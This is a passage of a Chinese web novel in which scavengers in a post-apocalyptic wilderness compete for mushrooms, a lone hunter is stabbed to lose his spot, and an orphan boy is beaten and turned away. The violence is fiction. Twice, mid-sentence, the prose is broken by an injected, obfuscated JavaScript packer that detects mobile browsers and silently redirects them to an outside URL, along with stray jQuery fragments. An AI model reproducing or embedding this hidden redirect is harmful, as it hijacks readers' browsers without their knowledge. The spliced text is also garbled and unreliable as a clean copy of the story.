他们从每个地点获得的腐烂菇的数量一般般,还不得不频繁地转换地方探索。 将数次采集所得汇总起来,忙到下午,他们不过得到了堪堪两个麻袋的腐烂菇,实在不算多。 又一次采集结束,手头这批腐烂菇也快清理干净泥土后,蒋云霞的终端收到一条消息。 她咦了一声,“今早那个紫蝎找人要到了我的账户号。” 通过对方的好友申请后,对方接连给蒋云霞发来几条讯息。 看完这几条讯息的具体内容,蒋云霞告诉时却二人,不远处有人寻到一片面积不小的区域,长满了腐烂菇,不是寥寥几人能吃下的那种。 发信人的意思是,那里很快会被先到先得的小团体瓜分,至于每个小团体能吃下多少,各凭本事。有兴趣的话,速来。 时却眨眨眼。 她问,那个紫蝎没有交情,为什么要给蒋云霞发消息。 蒋云霞低头捡起最后一个腐烂菇,挥动刷子刷去其上的泥土。 过了几秒钟,她冷不防道:“蝴蝶,我再给你上一堂课。” “在区外混饭吃的人,基本全是混蛋。我同样不例外。” ……时却没想到她突然说出这话。 一阵微风吹拂而过,在枝叶摩挲而交织成的簌簌响动中,蒋云霞叹了口气: “绞肉场,那个地方,我偶尔会去发泄发泄,所以才会看到你的视频……你绝对不会喜欢我发泄的方式。” “一种米养百种人,大家的底线都不太一样。” “我们这个混蛋群体里,要再区别一下,也行,可以用‘混蛋程度的深浅’来简单划分。不同混蛋程度的人相互看不上眼。” 她粗中有细地处理完了手上那颗腐烂菇,将它轻轻放在牛皮纸筐的最上层。 脱下因清理泥土而变得脏污的手套,她漫不经心地搓了搓双手: “在区外,有可能非得和别人一块行动时,想办法拉拢和自己底线差不多的人,想办法待在大家伙混蛋程度差不多的地方,能叫人舒服点。” 她提起一个牛皮纸筐,允自往车的位置走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505689|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时却带起另一个半满的筐跟上。 “这就是那个紫蝎找我的理由,”蒋云霞说,“所以,我们去吗?” 时却当然倾向于别沾这事。 可在她拒绝前,被她当作重要考虑因素的人反而开口。 “去呗。” 蒋云霞和时却停步,齐齐转过头看向最末尾的沈司奥。 “看什么。”机械师的声音,自笨重的防毒面罩里瓮声瓮气地传出。 他一指时却提着的半空的筐:“这不是不够吗?” 蒋云霞的视线从沈司奥转移到时却身上。 “我有点喜欢你的小老板了。”她啧道,复再次问时却:“去吗?” 时却看着沈司奥。 可惜,在防毒面罩的遮盖下,她最多只能看到他平静的、回视过来的眼睛。 她只得想象了一下三人过去后可能遭遇的事情,仿佛再次嗅到了曾闻到的,弥散于绞肉场里的味道。 那是种人的汗与血交杂在一块的沉闷气息。 时却想到今晚该轮到她给三人占扎营位置。 然后,她回答蒋云霞说,去。 * 数分钟后,他们赶到那片据说腐烂菇众多的区域,一片面积不小的斜坡。那个紫蝎没说谎,这片区域不知怎地,大片大片地长满了腐烂菇。 已有约十来个人在场,彼此之间很有默契,以团队为单位,各自保持着距离。 场面还算和谐,没有发生什么剧烈冲突,众人保持着一种诡异的沉默和平衡,看样子还在等更多的人赶到。 比照着各个团体彼此间隔的距离,时却三人找了个周边长了不少腐烂菇的位置站定。 时却预估了一下在场团体和团体之间的距离,得出结论: 按这样的“分配”,差不多到傍晚,这里的腐烂菇会被一采而空。 她还看到了不少熟面孔,全是昨夜扎营在她周侧的紫蝎。 蒋云霞朝时却努努嘴。 “记一记在场人的脸,没坏处。” “嗯……不过别太放松了,”似是猜到几分时却的心思,她补充说。 “今天可不是咱们一致对外打变异狼的那晚。别忘了我说过的,这儿全是混蛋。” 时却无声地点点头。 不断有紫蝎赶到。 当她将在场的人脸记得差不多了,这片斜坡只剩下最多可以供一个两人团体“和平占据”的位置。 她将注意力转到这片区域本身上。 和区外地图描述的腐烂菇“不钟情过于阴湿环境”不同,这的树木个顶个的干粗根深,树叶罗织成顶,近乎遮天蔽日,鲜有阳光泻入。 时却方才一进此处,甚至感觉周遭光线暗淡不少,气温更降低了好几个度。 不止如此,这里的地面还积攒了厚厚的一层枯枝败叶;某些地方,人一脚踩上去,湿润的水痕便从这些树枝落叶下噗嗤迸溅出来。 ……要知道今天和昨天均是大晴天,下大雨那都是前天的事情了。 不止时却这么觉得。最后两个赶到的紫蝎刚进入,便嘀咕起来。 他们赶到时,恰逢时却还在打量周遭环境,恰好背对着他们。 “这么阴冷,怎么长了这么多腐烂菇?”两人中的一个说。 “妈呀,”两人中另一个激动地一拍巴掌,“好多菇啊,咱俩今天不得小发一笔!” 这两人的声音听上去异常耳熟。 时却转身,那两人反而刚好背对她,往最后一个能被“和平占据”的位置走去。 他们中的一人个子高些,另一人个子矮些。 蒋云霞杵了杵看这两人的时却。 “怎么,认识?” 她这话没刻意压低声音,与其和时却讲话,更像说给那两人听。 那两人回头,高个子看到时却,响亮地一拍大腿,中气十足道: “哎呀,蝴蝶,我听说你这几天搞了不少事情啊,什么拳打壁虎脚踢——我X,干嘛踩我?” “……你好,蝴蝶。” 矮个子头疼地收回狠狠踩了同伴一下的脚。 “好巧,”他说,清了清嗓子,“正式自我介绍下吧,我是柳广知,旁边这个傻缺叫石宇。” 时却朝两人略一点头,不忘回答蒋云霞一句“认识”。 这两人在黑街和她当街打过架。 60. 忠告 鉴于二人是最后到的小队,柳广知没放任石宇和时却多说。 问过时却能否和他们交换终端账号,待时却答应,他以“有什么你和蝴蝶线上聊”为理由,利落地拽走石宇。 这二人一就位,像某个无形的开关被摁下,散落于斜坡各处的紫蝎开始忙活起来。 通过完石宇和柳广知依次发来的好友请求,时却抬眼一瞧,已没几个人还站直着。 简单商量了一下,她和蒋云霞决定照例由沈司奥负责时刻关注风向标,她们两人则蹲在一块,分别负责两个彼此成小夹角的方向。 挖,放,挖,放。她们重复起今天不知做了多少次的采集动作。 此地的通风性一般,风向改变的频率很低,两人并不需要频繁挪动位置。因着这个,加上彼此之间的距离拉近不少,蒋云霞一有什么肢体形态的改变,时却总能通过眼角的余光留意到。 蒋云霞喜欢每隔十几分钟,从跪姿改为蹲姿;这蹲姿持续的时间很少,最多五六分钟,她会再换为跪姿。 姿势变换时,她往往顺势锤一锤腰椎处,活动肩膀,捏捏自己后脖颈位置的肌肉。 时却理解蒋云霞的举动。 她改换姿势,是怕跪久了或蹲久了腿麻;各种小动作,是一种自然的安抚身体的行为。 会渴、会饿、会劳累,这就是人的身躯。 想到这,时却在心里计算时间,也时不时变换姿势,活动自个儿。 她不傻,不打算不假思索地抄,明智地做了调整。 她将自己的动作和蒋云霞完全岔开;频次方面,既考虑到自己和蒋云霞的年龄差距,又参考了记忆里社畜窝在电脑前坐上一天后的状态。 偶尔,时却能感觉到,蒋云霞往自己这边瞧。 每当她的目光即将扫来,时却提前眼观鼻鼻观心,作出一幅自己正在专心干活的模样。 腐烂菇渐渐出现在被放于二人之间的筐内,铺满其底部。 一次,时却刚揉完几下腰,蒋云霞喊她:“蝴蝶。” “?” “我锤腰的那个部位,以前摔过。这么巧,你也一样?” “……” 在二人侧边守着风向标的沈司奥:“噗。” 这会,时却恰好刚挖起一朵腐烂菇。 她双手捧起它,从喉咙里干巴巴挤出了个“呃”的音节。 未曾想过的翻车来得太突然,她登时忘记要将这玩意往筐里放。 蒋云霞笑眯眯地拿过那朵时却捧着的腐烂菇,放入筐中。 “讲讲?干嘛当学人精?” 沈司奥用手背轻轻扫了一下蒋云霞的背,待她扭头看过来,若无其事道:“哦,有只虫子。” 在蒋云霞再次欲将注意力转向时却前,他又说:“我想,是蝴蝶脑子的问题。” 他曲拳点点自己的太阳穴,指关节敲在防毒面罩的边缘处,发出一点咚咚的响声。 “实际上,她不是第一次犯这毛病了。她时不时就像个小孩,喜欢模仿点周边人的举动。” 蒋云霞将信将疑地看向时却。时却强作镇定地回视,心里实则有小人作扭曲呐喊状。 “这III型病的症状忒罕见了,”蒋云霞嘀咕,“忘事,不睡觉也能精神,现在又让你像只小鸭子似的。” ……时却感觉脸似乎有点发烫。 她拿外套的衣角蹭出点被手套遮盖的腕部皮肤,用那处皮肤贴住面颊。 随即反馈得来的温暖触感告诉她,这不是错觉。 她处于脸红的状态。 时却有些怔愣。她的神色变化被蒋云霞识别成进一步的尴尬。 蒋云霞笑吟吟地将视线挪到时却的耳朵上,语气让人不禁联想到柔软云朵或洁白羊毛一类软和得厉害的东西。 “行,不逗你了。” “除了腰没事别乱锤,”这位老猎人乐道,“其他的,你学我,该活动就活动,没问题。” 时却回过神,下意识应了声哦。 二人接着干活。 当距离这个小插曲过去十几分钟,什么东西先后在林间移动、拨开灌木从的声音,钻入时却耳中。 时却闭眼仔细分辨,轻拍边上的蒋云霞。 “有人。两个。” 蒋云霞转了转脸,耳朵朝向时却所指的方向。 她若有所思,面色平静,看上去似乎对将要发生什么事有些预期,并不感到意外。 她放慢了采集的速度,身体改为单膝跪地的姿势。 这姿势需要人的上半身更往前下方倾,手才能够到地面的腐烂菇,从采集的角度而言极不舒服,却更容易应对突发情况。 四五秒钟过去,一些人也朝时却听到异响的方向看了看。 窸窣的行动声越发明显、靠近。 最后,几乎所有紫蝎均更换为了更便于应战的姿势。和蒋云霞一样,他们没有停下手里的动作,仍继续采集。 所有人的目光,不时朝一处树木葱郁处聚集。 那儿距离时却三人的位置不远,有两棵参天古树郁郁葱葱地伫立。 自离地不到两米的距离,它们的繁茂枝叶从树身中疯长出来,同周遭的其他树木重重叠叠,完美地罗织就出一个由叶和枝组成的、等人高的“遮蔽墙”。 ……叫人只能影影绰绰地瞧见,有两个家伙在其后深一脚浅一脚地行走。 离那处较近的三个紫蝎起身,各自做战斗准备。 一个罕见的独行侠不爽地啧一声,摸出枪和刀,骂骂咧咧地拨开抢的保险。 一个体型偏瘦的左撇子龇了龇牙,左手持枪,枪口不忙抬起,而是斜向下。 不过,斜向下的枪口并非表示那左撇子是和平爱好者。 她这么做,是因为她有个敦实且强壮的男同伴就在边上,他举了把步枪,枪身架在肩上,枪口跟随树墙后的人形运动。 咔嚓,咔嚓,地面上积攒得厚实的枝叶层因被持续践踏而不断作响。 两个紫蝎持枪进入众人的可见范围内,是一对体格壮实的中年男女。 他们转过那道高高的“植物墙”,猛地看到近二十人,大抵也未料到,毫不掩饰地流露出被吓了一跳的神色。 大片大片的腐烂菇同样落入他们眼中,伴随着一个显而易见的事实: 他们来晚了,这些如今具有不低回收价的小玩意儿,这一片瞎子都能搂到大把钱的地界,早被在场的众人所瓜分。 “看来,你们满员了。”那对男女中的女人说。 她独眼,斜戴一幅棕色的眼罩,眼罩似乎常年未洗,其上深一块浅一块的,边沿之下探出些仿佛不甘被掩盖的烧伤痕迹。 她手持一把锃亮乌黑的手枪,说完话后将它竖举起来,复位保险,插回腰间,换出把血迹斑斑的短匕。 她旁边的男人不修边幅,腰前挂着鼓鼓囊囊的子弹袋,将一把装有加长枪管的步枪搭在右肩上。 “那么,谁肯给空个位置出来?”他懒洋洋地说,“不然我旁边这位可就要咬人啰?” 时却见过那中年女人,在区外的第一个夜晚守夜时。 她转而去打量女人边上的男人,他竟也是那晚在她和中年女人附近的邋遢男人。 蒋云霞瞟一眼那对男女,打了个哈欠,手上的动作略加快了些。 “柿子得挑软的捏。我猜,那个独行侠得走人。”她笃定地说。 时却瞧蒋云霞一眼。蒋云霞挖出一朵腐烂菇放好。 “那个女的叫疯牛,那个男的是泥猪,他俩时不时会滚上床,腻歪几天后再大打一架闹分手,相互假装不认识,某天重新滚到一块去,有趣得很。” 简明扼要地点评完两人,蒋云霞兴趣缺缺地重回蹲姿,打算专心挖腐烂菇。 看时却还往那边张望,要关心进展,她道:“算那个独行侠运气好啦,他们人还不算很混账。” 不远处,左撇子女低声对疯牛讲了什么,遂和男同伴退到一边。 疯牛冲余下的那独行侠歪了歪头。 那独行侠是个精悍的年轻男人,自觉信心十足,朝地上挑衅式地呸了一口。 他收枪入腰间的皮套,握刀朝疯牛扑去,雪亮的刃光在半空中一闪,笔直扎向疯牛。 偏身躲过那抹寒光,趁男人因惯性一时无法收势,疯牛滑至他侧后方,反拧腰持匕,毫不留情地扎入对方后胸。 下一瞬,她稳住身形,利落松手,双掌并用狠狠一推,男人来不及发出半点痛呼,倒向泥猪。 泥猪不避不让,扬起右手步枪。 啪! 坚硬的枪身打在男人的手腕上,男人下意识失力,握着的刀连带脱手飞出。 泥猪面无表情地迎上前。 他舒展未握枪的左臂,胳膊绕过男人的肩膀,哥俩好般地伸至男人的背处,手上如同长眼,一下摸到疯牛的匕首所在,然后—— 五指张开再合紧,他攥实握柄,飞快地拧转了一下匕首,脸上绽开森冷的满意笑容。 伴随着血肉被锋利的锐器搅动,痛楚牵动起每一根神经,男人从电光火石的败北中反应过来,大脑盈满恐惧,毫无章法地挥动双手,惨叫起来。 一时间,他的声音响彻整个斜坡。 尽管没动枪,不过有眼睛的人都能瞧出来,疯牛的战斗素质远在独行男人之上。 ……她将他推向泥猪的举动,和泥猪随后拧转他胸上匕首的举动,并不必要。 既不需要,那如此做的目的就只能是一个了——纯欺辱而已。 “‘他们人还不算很混账’?”时却语气微妙地重复蒋云霞此前对疯牛和泥猪的评价。 “我说的是事实。”蒋云霞满不在乎道。 “泥猪心里有点毛病,惯常喜欢听人惨叫,不过跟着疯牛时一般不会搞出人命。” “至于疯牛,她年轻时做过护士,专业的,匕首多得很,捅人后除非有仇,否则不怎么回收武器。” “所以你放心,那小伙子肯定带了速合剂,留着匕首求个人擦擦伤口,止住血,再麻溜点跑去大部队里租上个治疗仪,想死都难。” ……怎么说呢,姜还是老的辣。 如蒋云霞所料,疯牛和泥猪没再管那独行的男人,自顾自占过他原先所属的地方,开始挖起腐烂菇。 而那独行的男人,他从兜里掏出一管速合剂,嗬嗬喘着粗气,同边上的左撇子交涉了几句。 左撇子掏出把刀,以匕首扎入处为下手点,几下割开男人的外衣,两手再一使劲,刷拉撕出一个极大的开口,露出男人穿着的白色内搭。 时却见到,不断有鲜红的血液,从男人后胸的匕首扎入处中溢出。 那些象征着生命的液体,渗透白色的织物,晕染成刺眼的一团;自那一团血色中,又有不规则的延伸,如条赤色蛇般蜿蜒而下。 大抵由于失血和恐惧,独行男人抖如糠筛,一个没站住,软了腿,跪倒在地。 几个紫蝎看戏看到这儿,发出不屑的嗤笑声。大约在他们看来,独行男人是个不值得一提的败者了。 左撇子朝同伴使了个眼色。 她的同伴绕到男人身前,抽出他手里的速合剂,挤出一大坨,潦草地糊在男人背上扎着匕首的地方。 男人顶着张苍白的脸,召出投影,哆嗦着手操作几下。 在显然是给左撇子转去了一笔“上药费”后,这个败者吃力而缓慢地爬起身,趔趔趄趄地离开,身形不多时便隐没在林间,消失不见。 左撇子和同伴回到原先自己占据的位置。 她侧头看了一眼“新邻居”疯牛和泥猪,拉着同伴往边上走出好几步,拿刀柄在地上划出一道象征性的交界线。 疯牛随意地对她比了个“OK”的手势。 于是时却了然了—— 左撇子和疯牛出让了自己小队的利益,从而交换他们免于纷争。 她收回视线,双掌环绕在一朵腐烂菇周侧,十指缓慢地扒开位于其根部的冰冷泥土。 “你以后还会碰上很多这样的事情,”蒋云霞边说,边打量时却看上去十分平静的神色,“好在,我看你还蛮能接受。” 时却转头看向她。 “尽量和混蛋程度差不多的家伙一块行动,是我和你说过的规矩,对吧?才来这里的时候,你见识到了这规矩。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578337|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说着,蒋云霞手心向上朝周侧有人的方位一递、一划,意思很明显:正是由此,在场的二十来人凑到了一起。 “蝴蝶,那你应该还可以理解,规矩这种东西,它不可能光只一条。” 蒋云霞含笑道:“在一群混蛋中间,有很多规矩,有很多的不言自明的规矩。现在,我问问你,刚那一场风波下来,你有看来出什么新规矩吗?存在于……我们这群混蛋之间的其他规矩。” 这位老猎人谆谆善诱地说完,语气一顿,目的明确地给予时却一个足以接话的时间。 蒋云霞见自己的这位年轻后辈微微歪了头,似乎在思考什么。 两三秒钟过去,她应当是没思考出来想要的结果,转转眼珠,极小幅度地,再往原来方向又歪了歪脑袋。 ……一阵诡异的突兀感爬上蒋云霞的心头。 不合时宜地,她想起自己年轻时,曾在某个月光黯淡的深夜里追击过一匹变异的小狼。 它看上去最多还有一两个月便成年,身上的胎毛脱得差不多了,已有猎食者的风范,不知为什么被逐出了狼群,孤寂地在林间游荡。 她当时完全是个菜鸟,即便对上的是匹小狼,也不敢托大,喷了能干扰狼嗅觉的喷剂,耐心地潜伏在灌木丛中,大气不敢出,试图寻找良机,将它一击毙命。 那一夜,林间的风势极大,完美地为她提供了掩护。小狼知道自己被什么东西盯上了,却找不到蒋云霞的踪影。 于是,它频繁地歪头。 它的动作,是先往左或右偏转少许头颅,卡滞住一瞬,然后微调方位,像个亟待上油而反应迟缓的机器那样,再往同一个方向,再歪一点儿。 后来,蒋云霞从其他猎人口中得知,有的变异狼喜欢通过歪头,调整耳朵的方位,以实现近似“听声辨位”的效果。 这是它们搜寻猎物的一种手段。 蒋云霞不知道自己怎么想的,此刻,她觉得—— 蝴蝶,这位后辈,这位有点天真的、实力不错且极有潜力的后辈,她歪头的动作,竟和多年前自己碰到的那只未开化的野兽有些相似。 考虑到此前一再接触过后辈“脑子有病”的讯息,蒋云霞将这种异样感抛之脑后,让自己耐心些。 ……她刚才和蝴蝶说到哪里来着? 是了,她问蝴蝶的是—— 【“刚那一场风波下来,你有看来出什么新规矩吗?存在于……我们这群混蛋之间的其他规矩。”】 “你该看出来了,蝴蝶。”她以自顾自回答的方式说。 “除‘尽量和混蛋程度差不多的家伙一块行动’外,要想活得舒服点儿,我们还有其他最好遵守的生存之道。” 时却眨了眨眼,终于开口。 “这里的人聚是聚在一块了,但不代表结成临时的同盟,”她低低地陈述道,“这里的人不是抱团占地盘,不会互相帮助,不禁止后来的人替换先来的人。” “你说的‘最好遵守的生存之道’,是弱肉强食。” “如果以后我处在疯牛和泥猪那样的位置,我赶到得晚了,但我更强壮,我能打跑原来占位的人,或能逼迫他们吐点好处出来。” “蒋姐,”时却向蒋云霞求证似的问,“你希望我知道的新规矩是这个?” “是。”盯着时却的眼睛,蒋云霞肯定道。 她脱下一只满是脏污的手套,用力拍了拍时却的肩膀,纠正说: “而且不是‘能打跑’、‘能逼迫’,是‘该’。‘你该打跑原来占位的人,或该逼迫他们吐点好处出来’。” “外出狩猎的人,时间和精力就那么点,最好的办法是学会懂得权衡。” “就像吃饭,”蒋云霞说,“喝粥或者喝汤时,用筷子的效率最低下,得使勺;吃饭菜时,拿勺子去挖,容易掉得满桌都是。” “一开始可能不太习惯,不过你很快会找到合适的模式。”她的语气柔软下来。 “你可以像疯牛那样,把住分寸,既威慑到别人,又不把事情做绝。” “合适我的模式。”时却喃喃。 无需细加分辨,时却知道蒋云霞说的是忠告。 尽管她讲述的东西,和一周前的壁虎在绞肉场里说的话,两天前的壁虎在八角笼中说的话,其本质一模一样。 ……而同一件事情,陌生人来劝告,有些交集的人来劝告,让你觉得有好感的人来劝告,这三者的影响力,对于个体而言,不能相提并论。 同一件事情,掀屋顶般的建议,和开窗式的建议,不能等量齐观。 无可置疑地,蒋云霞认真、诚恳;并且,还有一件更无可置疑的事情是—— 时却本欲从这位长辈身上学习更多。 一时间,时却的脑子有些发乱。一阵窸窣声响再次钻入她耳中。 又有什么人向这块斜坡靠近了,仅一个,脚步声不重,状态很不好,踉踉跄跄的。 时却朝方才疯牛和泥猪出现的位置看去。 几秒钟后,一个看上去快要成年的男孩走进众人的视线。 他灰头土脸,貌似刚翻过车,面颊侧和手上尽是红红的擦痕,腹部有道被包扎好了但仍在渗血的伤口。 他的体型和沈司奥差不多,偏瘦,动作轻飘无力,一看就不像猎人。 男孩迟疑地走到左撇子女的面前。他尚未开口,左撇子女的同伴叹了口气,一拳将他打倒在地。 “啧,都讲别缠着我们了,还硬蹭,”左撇子女不爽地撇嘴,“你没钱了,记得吗?小蠢蛋,你把你叔留给你雇我们的钱花光了。” “姐,我没缠着呢们,”男孩捂着立时高高肿起的一边侧脸,含混不清地捂脸哭起来。 “我害怕,不敢去打猎,也不敢自己走,才远远跟着你们……这里不是那么多腐烂菇吗,我就采一点,只要一点……” “哦,我明白了,”左撇子女的同伴言简意赅,“你来乞讨。” 左撇子女不耐烦地上前踢了踢男孩。 “讲点规矩,自己找饭吃啊,小弟弟。” “还是,你要不看看在场的,谁肯给你这个废物发发善心,然后被你缠上,被你吃白食?” 61. 习惯 时却能肯定,单论上火化小平台的收费,不可能贵到足以雇佣一个二人小队。 想着蒋云霞消息灵通,时却极为自然地跳过了方才和她那没有结尾的谈话,询问对方是否清楚左撇子女和男孩的事情。 时却发问时,蒋云霞已重新回到采菇大业中,刨出一朵个头不小的腐烂菇。 她举起它,回以时却一个‘你好奇心不小’的挑眉。 尽管对左撇子女那边的情况不甚在意,她还是勉强打量了几眼男孩。 “那小子啊……” 眯起右眼,蒋云霞拿指甲盖量了下那颗处在腐烂菇下部的菌丝,简短地讲出她所知的信息。 男孩母亲早逝,父亲是蝎子的一个小喽啰。 四年前,他父亲因辐射病去世,自此他和孤僻的瘸腿叔相依为命。他叔叔在好再来开了家花店,靠店里的收入维持二人的生活。 十三区防护罩预备关闭的事情发生后,二人本想遂管理局组织的平民撤离的队伍离开,不想队伍存在成员定额,伴随定额有制定一系列的筛选机制。 其中一条筛选机制是:帮派成员死后五年内,其直系血亲进入队伍的优先度最低。 他们没能进入平民撤离队伍。 “这次上路,他叔花了一大笔钱,好歹带着侄子勉强被算成了灰蝎。”蒋云霞道。 “他们这种人最多晚上能在灰蝎扎营地的边缘休息,上路的时候,没法和灰蝎队伍一块走。” “他叔开价找猎人带自己和侄子,给的价位很低,最多只够全程跟着猎人行动,不可能像小老板和你这样,你还愿意尽量不打猎。” “你想想,他叔自己和他这个侄子,一个残一个手无缚鸡之力,给的钱不多,猎人还得带着这俩累赘去挣每日任务量……这是个烂活儿。” “他叔求爷爷告奶奶好不容找到那俩人,”蒋云霞冲左撇子女和其同伴的方向挑眉,“顺利上路了,结果呢,命不好,听说前两天给蛰了,死了。” “然后,你猜怎么着?” 时却摇头。 “那傻小子,没去蝎子的火化地方,想找个专业做殡葬的蓝蝎把他叔单独火化,骨灰再拿去做成骨戒,结果被人给盯上,搞了一出强买强卖。” “最后,他骨戒倒拿到了,钱也被掏得精光,如今怕吃饭都成问题。” ……时却惊异于蒋云霞知道此事的全面程度。 仿佛猜出她的想法,蒋云霞说:“这种事情多的人看热闹,今天没我,小老板或你去打听,一样能问到。” “他那俩保镖也倒霉,这两天给人调笑了不少次,问烂活黄了,是可惜还是松了口气。” 沈司奥提醒时却和蒋云霞二人,风向有变。 新的风来方向,相对于左撇子女、其同伴和男孩三人所在方向仅有些许偏转。 蒋云霞和时却各自挪地方。 时却给自己找到一个新位置。 她稍偏离了新的风来方向,正冲左撇子女、其同伴和男孩三人,足以低头刨土一下,抬头观望一眼地关注三人的动静。 左撇子女那边,男孩被打倒在地,仍没爬起来。 左撇子女和其同伴早倍感无趣地往边上远离两步,跟眼里没男孩这个人差不多,自顾自地在边上忙活,采集腐烂菇。 男孩捂着腹部渗血纱布的所在处,连哭带喘了有半分钟,抽噎着抹了把满是鼻涕眼泪的脸,颤抖着胳膊去撑地面。 仿佛只哭泣和急促地呼吸,这两个简单的动作就消耗了男孩的不少心力。 他足足花费了一二十秒的时间,方支起自己的上半身,慢慢从地上爬起来。 一点细微得常人难以注意到的反光,在男孩的胸前闪烁了一下。 它随着他的动作,以一种有规律的轨迹小幅度地来回摇晃几下,摆动的中心大约位于男孩的脖颈处。 起身后,男孩做出的首个动作是:颇为笨拙地去拍衣服上沾染的尘土。 因双掌都有伤,他时不时便要倒吸一点凉气。 在场没几个人关注这男孩了。 连此前嘲讽落败的独行男人的紫蝎们,看着多少是有点不良恶趣味的家伙,都对他兴趣缺缺。 ……时却记得,这个世界的基础教育从六七岁开始,为期十年。 沈司奥今年十七,一年前来的十三区,他八成结束了基础教育。 以此类推,那男孩要么还应该在上学,要么和沈司奥一样,刚毕业。 总之,看男孩的表现和身体素质,时却肯定他从没接受过任何训练。 他从前的生活,大概率与“区外猎人”和“暴力活动”这两个词不大相干。 这边,时却脑补着男孩的人生;不远处,被她脑补的对象本人有了新的动作。 男孩身上其实带有些家伙。 他腰间挂了把气手枪,还有一把家用大小的剪刀,剪头部分比平常的剪刀短上许多,呈半圆形。 他使劲咬了咬嘴唇,右手先按在那把气手枪,后挪到那把剪刀上。 取出剪刀并刀尖朝下地攥住,左手不安地紧靠在腿边,他磕磕巴巴地开口,小声对左撇子女讲话。 左撇子女直接打断男孩。 “帮忙?你采的只拿一半?”她冷笑,“我们搞不定这点地方不成?凭什么白分你一杯羹?” 不止嘴上大声反问着,她突然站起身。 数分钟前一言不合就被痛打的记忆仍在,脸上的钝痛还绵延不绝,男孩下意识捂住被打过半边脸,往后急退一步。 左撇子女绷着脸,抬腿作势要向他迈步。 下意识地,男孩惊叫出声,抱头缩成一团,蹲到地上,抖如糠筛。 “姐,不、不要……” “瞧瞧你。”左撇子女双臂抱胸,俯视男孩。 她弯下腰,没费多少力气,在男孩的右手上一拍。 男孩的五指无力地松开,那把造型奇特的剪刀掉到地上,因着尖锐的刀尖朝下,立时无声地直立扎入了点地面。 “你拿一把花艺剪刀,能他X的干什么?”她冷笑道,捡起那把剪刀,刀尖调转了个个儿朝上。 “怕再挨揍,是吧?” 她强硬地掰开男孩捂脸的手,将刀尖朝上的剪刀塞到男孩的右掌里。 “被人居高临下的时候,你至少得这么拿这玩意儿,明白吗?” 她啪啪地拍了两下男孩的脸颊侧,不由分说地包住男孩的右手,强制他虚握住剪刀。 “这小儿科的玩意,你得这么用。” 她举起自己的左胳膊伸到剪刀上方,猛地抬起男孩的右手腕! “不要!” 男孩挣开她,甩出那把花艺剪,跌坐在地,满脸泪水,犹如一只受惊的小兽。 “……这种时候倒有力气。” 左撇子女站起身,高高在上低头瞧了男孩片刻,厌烦而阴沉地说。 她的同伴开口: “既然你一路跟着我们,刚才该躲在附近。你看得到发生了什么,就该清楚,这里的腐烂菇按什么规矩来分配。” 男孩嘴唇抖了两下,没说话。 “我们没心思怜悯一个注定活不下去的废物,”男人说,“你叔叔还在的时候,难道没教过你,剪掉发育不良的枝条后,剩下的花能开得更好?” 见男孩闻言脸上血色尽失,左撇子女语气冷淡,再次强调: “区外没有平白无故给废物吃白食的规矩。你找别人去,看看这块有没有哪个傻子愿意发善心,别缠着我们。” 话已至此,他们不再多说。 男孩狼狈不堪地呆坐在冰冷的泥土地上许久,哆哆嗦嗦地捡回掉在边上的剪刀。 拿脏兮兮的袖子擦了擦脸,他吸吸鼻子,自以为掩饰得很好地打量起在场的其他紫蝎。 再次迈出步伐,他仍没进去听左撇子女的话,执拗地令手里剪刀的刀尖朝下。 他往柳广知和石宇所在的方向走,来到另一个两人团体附近,在距离他们三步远的地方,期期艾艾地开口:“我、我……” “滚。”团体中的一人说。 “呃、好,对不起。” 男孩就近转向另一个独行侠,话起了个头,那人甚至没耐性听他说完,作势挥拳,将他吓得立刻连退几步。 下一个他试图搭话的对象,一言不发地掏了枪,直接对准他的一条腿,吓得他连连摆手后退。 几番无果的交涉下来,男孩的脸色越发惨白。 他来到柳广知和石宇附近,刚想开口,柳广知断然拒绝,朝他摇头。 “嘶,等等,”石宇说,“要说喜欢小孩……。” 这大个子朝时却三人的方向投来一眼,没等说什么,被额上暴起青筋的柳广知一巴掌呼在头上,本呼之欲出的半截话全数给打回肚子里。 “喂,小孩!”泥猪忽然冲男孩大喊。 “你溜溜达达的,没头苍蝇一样,要找到什么时候?” 男孩瑟缩了一下,没回应他的话。泥猪毫不在意,抬手指出一个方向。 他不怀好意地咧嘴一笑: “我给你指条明路,你去那儿,找那个戴帽子的女人,叫蝴蝶的——” 他所指的位置,赫然为时却三人所在。 蒋云霞低低骂了泥猪一句,毫不示弱,立即大声呛回去。 “泥猪!” 她丢开一朵才挖出来的腐烂菇,恶狠狠站起身,叉腰叫道: “你他X的个脑子有毛病的阴暗鬼,陷在心理阴影里几十年爬不出来的怂蛋!别拿蝴蝶当出气筒!” 泥猪乐道:“蝴蝶,绞肉场里你不是说‘欢迎来赌’?如你所愿!” 男孩这会距时却三人不远。他踌躇地看了时却一眼,不知为何还看了看沈司奥,面上浮现举棋不定的神色。 蒋云霞扶额叹气,蹲在时却边上,扯扯嘴角,报出两个数字: “10%,70%。” “什么?”时却问,缓缓脱下了一直戴着的手套。 久闷在手套的皮肤上泛着潮意,乍一接触外界寒凉的空气,汗渍挥发,带来阵阵冰冷感觉。 “如果你要施舍那男孩,他能分走10%,”蒋云霞直接了当,“而作为代价,今天无论收获多少,我要拿走你那份的70%。” “70%好像太多。” “我反而觉得少,”蒋云霞道,“对我来说,分他钱,和把钱丢进水里没区别。” “这70%里还有风险预估的部分。” 